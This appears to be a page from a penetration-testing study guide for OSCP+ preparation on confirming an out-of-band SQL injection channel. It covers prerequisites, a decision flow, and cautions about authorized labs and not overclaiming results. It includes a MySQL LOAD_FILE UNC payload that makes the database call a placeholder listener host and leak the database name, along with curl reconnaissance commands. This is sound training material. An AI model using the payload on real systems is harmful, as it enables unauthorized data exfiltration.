Conditional: validate an out-of-band SQL request channel

Needs: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

Hypothetical MySQL/Windows UNC lookup in an authorized lab

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

-- Hypothetical MySQL/Windows UNC lookup in an authorized lab
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

Verify → Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.

If it fails → Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available. More detail ↓

If → then

Query influence exists but rows are not rendered → Infer SQL data through boolean or time-based differences
Needs: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests
An injectable SELECT renders query results → Extract data through UNION and visible SQL results
Needs: Compatible column count/types, a reflected result position and rights to the requested data
A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
Needs: Artifact provenance and format; possible local/domain/application identity and compatible protocol

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Conditional: validate an out-of-band SQL request channel

USE WHEN: SQL execution is plausible but in-band output is unavailable
STARTING ACCESS: A reproducible application request and a controlled input or access-context comparison
RESULT: A verified SQL-dependent outbound request, with its data and transport limits established

Recognize the clue

After DBMS/query influence is established, document the absence of stable in-band channels and inspect whether the database platform exposes a permitted outbound lookup facility.

curl -sk -D - --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH

SYNTHETIC EXAMPLE OUTPUT

Saved query context: DBMS identified
Response: no rendered rows; unstable timing
Outbound database capability: unknown

Means: Lack of an in-band channel motivates investigation but does not prove an outbound channel exists.

Confirm: Confirm the exact function, database/OS rights, allowed egress and a uniquely correlated controlled receiver event.

After validation: The query generates only the expected controlled event: select the bounded outbound channel.
Ruled out in this context: The required function or outbound permission is unavailable: discard this OOB mechanism.
Still inconclusive: No callback leaves query execution and egress unresolved; use another stable channel if available.

Troubleshooting: Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.

Additional prerequisite checks

ss -lnt
ip route get TARGET

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

Hypothetical MySQL/Windows UNC lookup in an authorized lab:

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

Why it works

Out-of-band SQL effects require database execution and a second network path. A received request must be tied to the selected query; a missing callback cannot distinguish blocked egress from failed SQL.

Worked example · hypothetical

Observation: an injected request has no visible result. Test: use the documented controlled lookup with a unique label and no sensitive row data. Illustrative output: only that query produces the expected lookup. Interpretation: the channel exists; evaluate permissions and scope before any further use.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗